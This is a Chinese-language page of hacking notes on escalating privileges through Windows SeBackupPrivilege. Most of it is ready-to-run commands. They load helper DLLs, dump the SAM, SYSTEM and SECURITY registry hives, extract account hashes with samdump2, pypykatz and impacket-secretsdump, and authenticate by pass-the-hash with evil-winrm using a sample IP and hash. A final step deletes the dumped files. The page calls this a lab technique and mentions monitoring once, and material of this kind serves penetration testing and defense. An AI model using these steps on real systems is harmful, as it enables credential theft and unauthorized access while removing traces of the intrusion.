> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md).
# SeBackupPrivilege
`SeBackupPrivilege` 允许在备份上下文中读取受保护文件。在实验环境中，此权限可用于复制 `SAM` 和 `SYSTEM`，然后离线提取本地账户哈希。
## 检测
```powershell
whoami /priv
```
## 加载模块
{% embed url="" %}
```powershell
上传 SeBackupPrivilegeCmdLets.dll
上传 SeBackupPrivilegeUtils.dll
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```
## 导出 SAM 和 SYSTEM
```cmd
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system
```
下载这些文件：
```powershell
download sam
download system
```
## 提取哈希
```bash
samdump2 system sam
```
替代方案：
```bash
pypykatz registry system --sam sam
```
## 使用 Pass-the-Hash 验证
```bash
evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```
## 关键要点
* `SeBackupPrivilege` 即使没有直接属于本地管理员组成员，也同样很敏感。
* 导出 `SECURITY` 当你想获取 LSA 密钥或缓存的域材料时也是如此。
* 监控注册表配置单元导出以及对受保护系统文件的访问。
## Impacket 提取
Impacket 可以离线解析已保存的配置单元：
```cmd
reg save HKLM\SAM C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\system.save
reg save HKLM\SECURITY C:\Windows\Temp\security.save
```
```bash
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
```
## 清理
```cmd
del C:\Windows\Temp\sam.save
del C:\Windows\Temp\system.save
del C:\Windows\Temp\security.save
```
---
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